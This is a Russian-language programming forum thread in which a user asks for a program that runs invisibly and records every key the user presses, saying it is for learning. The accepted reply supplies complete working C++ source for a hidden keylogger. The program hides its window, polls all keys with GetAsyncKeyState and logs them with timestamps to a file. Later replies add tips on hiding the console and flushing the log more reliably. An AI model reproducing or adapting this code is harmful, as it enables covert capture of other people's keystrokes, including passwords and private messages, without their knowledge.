Форум программистов, компьютерный форум CyberForum.ru

а как сделать так - C++

Восстановить пароль Регистрация
 
Van111
кодер с++
208 / 187 / 4
Регистрация: 03.08.2011
Сообщений: 2,585
Записей в блоге: 12
25.09.2011, 18:55     а как сделать так #1
нужно чтоб при запуске програма работала не как приложение а как процесс то есть юзеру была не видна
и ловила все нажатые пользователям кнопки
(мне это нужно тока в учебных целях)
Лучшие ответы (1)
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
xAtom
 Аватар для xAtom
910 / 735 / 60
Регистрация: 09.12.2010
Сообщений: 1,346
Записей в блоге: 1
25.09.2011, 22:53     а как сделать так #2
Сообщение было отмечено автором темы, экспертом или модератором как ответ
Цитата Сообщение от Van111 Посмотреть сообщение
нужно чтоб при запуске програма работала не как приложение а как процесс то есть юзеру была не видна
Имеешь ввиду как работают Windows-службы в системах-NT, я вот тут набросал не большой код простого консольного приложения "человека-невидимки" времени нет службу паять, вот код только для ОС Win NT.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <windows.h>
 
int main(void) {
   SYSTEMTIME  tm;
   int   key;
   FILE* fp;
   HWND  wnd = GetForegroundWindow();
  // уменьшить приоритет процесса
   SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
 
  // файл для сохранения информаци о нажатой клавиши
  if(!(fp = fopen("D:\\keys.txt", "w+")))
       exit(1);
  fputs("Символ\tASCII-код\tДата/Время\n", fp);
 
  ShowWindow(wnd, SW_HIDE);
  while(1) {
       for(key = 3; key < 256; key++) {
           if(GetAsyncKeyState(key)) {
                 GetLocalTime(&tm);
                 fprintf(fp, "%c\t%d\t\t%d-%02d-%02d  %02d:%02d:%02d\n", 
                 key, key, tm.wYear, tm.wMonth, tm.wDay, tm.wHour, tm.wMinute, tm.wSecond);
                 break;
          }
       }
       // при нажатие на клавишу End(процесс закрывается)
       if(GetAsyncKeyState(35)) 
           break;
       Sleep(100u);
   }
   ShowWindow(wnd, SW_SHOW);
   fflush(fp);
   fclose(fp);
 
   system("pause");
   return 0;
}
При запуске проги она исчезнит и будет сохранять в файл сведения любой нажатой квлавиши в системе, для закрытия процесса клавиша End(с работает в любом месте).
Чистый
Автор FAQ
 Аватар для Чистый
2572 / 1379 / 70
Регистрация: 08.09.2011
Сообщений: 3,705
Записей в блоге: 1
26.09.2011, 11:22     а как сделать так #3
можно просто скрыть окно консоли, вот тут почитай:
Тыц 1
Тыц 2
Van111
кодер с++
208 / 187 / 4
Регистрация: 03.08.2011
Сообщений: 2,585
Записей в блоге: 12
26.09.2011, 16:36  [ТС]     а как сделать так #4
а зачем уменьшать приоретет процеса?
fflush(fp) надо бы вставить после
fprintf(fp, "%c\t%d\t\t%d-%02d-%02d %02d:%02d:%02d\n",
key, key, tm.wYear, tm.wMonth, tm.wDay, tm.wHour, tm.wMinute, tm.wSecond);
так надёжнее
kravam
быдлокодер
 Аватар для kravam
1513 / 873 / 44
Регистрация: 04.06.2008
Сообщений: 5,265
26.09.2011, 16:58     а как сделать так #5
Скрыть программу
Yandex
Объявления
26.09.2011, 16:58     а как сделать так
Ответ Создать тему
Опции темы

Текущее время: 01:23. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru